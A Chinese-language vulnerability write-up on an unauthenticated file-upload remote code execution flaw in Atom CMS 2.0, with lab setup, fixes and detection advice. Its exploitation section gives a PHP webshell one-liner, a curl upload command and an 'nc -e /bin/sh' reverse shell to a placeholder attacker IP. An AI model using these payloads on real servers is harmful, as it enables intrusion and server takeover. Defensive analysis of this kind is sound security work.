深入分析Atom CMS 2.0漏洞:揭示远程代码执行的真相
字数 1517 2025-08-20 18:18:10

Atom CMS 2.0 远程代码执行漏洞分析与利用指南

漏洞概述

Atom CMS 2.0 存在一个严重的未经身份验证的文件上传漏洞,允许攻击者在无需任何身份验证的情况下上传恶意文件。由于系统对上传文件的扩展名和类型缺乏有效检查,攻击者可上传PHP webshell,从而获得服务器远程控制权限。

实验环境搭建

所需组件

  • XAMPP服务器(包含Apache和MySQL)
  • Atom CMS 2.0 源代码
  • 测试用PHP webshell

配置步骤

  1. 安装XAMPP

    • 下载并安装XAMPP
    • 启动Apache和MySQL服务
  2. 部署Atom CMS

    • 将Atom CMS源代码解压到XAMPP的htdocs目录(如:C:\xampp\htdocs\atomcms
    • 确保目录权限设置正确:
      chmod -R 755 /opt/lampp/htdocs/atomcms
      chown -R www-data:www-data /opt/lampp/htdocs/atomcms
      
  3. 数据库配置

    • 创建名为"atomcms"的MySQL数据库
    • 导入源代码中的SQL文件(通常为database.sql
    • 修改connection.php文件中的数据库凭据:
      $dbhost = 'localhost';
      $dbuser = 'root';  // 默认XAMPP用户名
      $dbpass = '';      // 默认XAMPP密码为空
      $dbname = 'atomcms';
      
  4. 验证安装

    • 访问http://localhost/atomcms/admin应显示登录页面

漏洞分析

漏洞位置

漏洞存在于未授权文件上传功能中,主要问题文件:

  • upload.php - 处理文件上传的核心文件
  • connection.php - 数据库连接配置文件

漏洞成因

  1. 缺乏身份验证检查:上传接口未验证用户身份
  2. 不充分的文件验证
    • 未检查文件扩展名
    • 未验证文件MIME类型
    • 未实施内容检查
  3. 危险的文件存储:上传文件可直接通过Web访问

关键代码片段

// upload.php 简化示例
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);

// 无任何有效检查直接移动文件
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
    echo "文件上传成功";
}

漏洞利用

利用步骤

  1. 准备PHP webshell

    • 简单示例(shell.php):
      <?php system($_GET['cmd']); ?>
      
    • 复杂示例(使用蚁剑/冰蝎等webshell)
  2. 构造上传请求

    • 使用cURL命令:
      curl -X POST -F "file=@shell.php" http://localhost/atomcms/upload.php
      
    • 或使用Burp Suite等工具构造POST请求
  3. 验证上传

    • 访问http://localhost/atomcms/uploads/shell.php
    • 添加参数执行命令:?cmd=whoami
  4. 获取系统权限

    • 执行系统命令查看当前用户:
      http://localhost/atomcms/uploads/shell.php?cmd=whoami
      
    • 获取反向shell:
      shell.php?cmd=nc -e /bin/sh 攻击者IP 端口
      

自动化利用工具

可使用Metasploit框架中的exploit/multi/http/atomcms_upload_exec模块进行自动化利用

防御措施

临时解决方案

  1. 删除或重命名upload.php文件
  2. 限制uploads/目录的PHP执行权限:
    <Directory "/opt/lampp/htdocs/atomcms/uploads">
        php_admin_flag engine off
        RemoveHandler .php .phtml .php3
        RemoveType .php .phtml .php3
    </Directory>
    

永久修复方案

  1. 实施身份验证

    session_start();
    if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {
        header("Location: login.php");
        exit;
    }
    
  2. 严格文件验证

    $allowedExtensions = ['jpg', 'png', 'gif'];
    $fileExtension = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
    
    if (!in_array($fileExtension, $allowedExtensions)) {
        die("不允许的文件类型");
    }
    
    // 检查MIME类型
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime = finfo_file($finfo, $_FILES["file"]["tmp_name"]);
    if (!in_array($mime, ['image/jpeg', 'image/png', 'image/gif'])) {
        die("非法的文件内容");
    }
    
  3. 文件重命名

    $newFilename = uniqid().'.'.$fileExtension;
    $target_file = $target_dir . $newFilename;
    
  4. 目录隔离:将上传目录放在Web根目录之外

  5. 文件权限限制

    chmod($target_file, 0644); // 只读权限
    

漏洞影响评估

CVSS评分

  • 基础分数:9.8 (Critical)
  • 向量:AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

潜在影响

  1. 完全服务器沦陷
  2. 数据库泄露
  3. 作为跳板攻击内网
  4. 植入后门程序
  5. 网站篡改和挂马

取证与检测

攻击迹象

  1. uploads/目录中存在非常规PHP文件
  2. 访问日志中的可疑请求:
    GET /atomcms/uploads/shell.php?cmd=whoami
    
  3. 异常的系统进程和网络连接

检测方法

  1. 使用webshell扫描工具检查上传目录:

    • Linux: grep -r "system($_" /var/www/html/atomcms/uploads/
    • Windows: 使用D盾、河马等webshell查杀工具
  2. 检查Apache日志:

    grep "uploads.*php" /var/log/apache2/access.log
    

总结

Atom CMS 2.0的文件上传漏洞是一个典型的"未授权上传+无过滤"漏洞组合,攻击者可以轻松利用此漏洞获取服务器控制权。开发者应当遵循最小权限原则,对所有用户输入进行严格验证,特别是文件上传功能需要实施多层防御措施。系统管理员应及时更新到已修复版本或实施上述安全措施。

Atom CMS 2.0 远程代码执行漏洞分析与利用指南 漏洞概述 Atom CMS 2.0 存在一个严重的未经身份验证的文件上传漏洞,允许攻击者在无需任何身份验证的情况下上传恶意文件。由于系统对上传文件的扩展名和类型缺乏有效检查,攻击者可上传PHP webshell,从而获得服务器远程控制权限。 实验环境搭建 所需组件 XAMPP服务器(包含Apache和MySQL) Atom CMS 2.0 源代码 测试用PHP webshell 配置步骤 安装XAMPP 下载并安装XAMPP 启动Apache和MySQL服务 部署Atom CMS 将Atom CMS源代码解压到XAMPP的htdocs目录(如: C:\xampp\htdocs\atomcms ) 确保目录权限设置正确: 数据库配置 创建名为"atomcms"的MySQL数据库 导入源代码中的SQL文件(通常为 database.sql ) 修改 connection.php 文件中的数据库凭据: 验证安装 访问 http://localhost/atomcms/admin 应显示登录页面 漏洞分析 漏洞位置 漏洞存在于未授权文件上传功能中,主要问题文件: upload.php - 处理文件上传的核心文件 connection.php - 数据库连接配置文件 漏洞成因 缺乏身份验证检查 :上传接口未验证用户身份 不充分的文件验证 : 未检查文件扩展名 未验证文件MIME类型 未实施内容检查 危险的文件存储 :上传文件可直接通过Web访问 关键代码片段 漏洞利用 利用步骤 准备PHP webshell 简单示例(shell.php): 复杂示例(使用蚁剑/冰蝎等webshell) 构造上传请求 使用cURL命令: 或使用Burp Suite等工具构造POST请求 验证上传 访问 http://localhost/atomcms/uploads/shell.php 添加参数执行命令: ?cmd=whoami 获取系统权限 执行系统命令查看当前用户: 获取反向shell: 自动化利用工具 可使用Metasploit框架中的 exploit/multi/http/atomcms_upload_exec 模块进行自动化利用 防御措施 临时解决方案 删除或重命名 upload.php 文件 限制 uploads/ 目录的PHP执行权限: 永久修复方案 实施身份验证 : 严格文件验证 : 文件重命名 : 目录隔离 :将上传目录放在Web根目录之外 文件权限限制 : 漏洞影响评估 CVSS评分 基础分数:9.8 (Critical) 向量:AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 潜在影响 完全服务器沦陷 数据库泄露 作为跳板攻击内网 植入后门程序 网站篡改和挂马 取证与检测 攻击迹象 uploads/ 目录中存在非常规PHP文件 访问日志中的可疑请求: 异常的系统进程和网络连接 检测方法 使用webshell扫描工具检查上传目录: Linux: grep -r "system($_" /var/www/html/atomcms/uploads/ Windows: 使用D盾、河马等webshell查杀工具 检查Apache日志: 总结 Atom CMS 2.0的文件上传漏洞是一个典型的"未授权上传+无过滤"漏洞组合,攻击者可以轻松利用此漏洞获取服务器控制权。开发者应当遵循最小权限原则,对所有用户输入进行严格验证,特别是文件上传功能需要实施多层防御措施。系统管理员应及时更新到已修复版本或实施上述安全措施。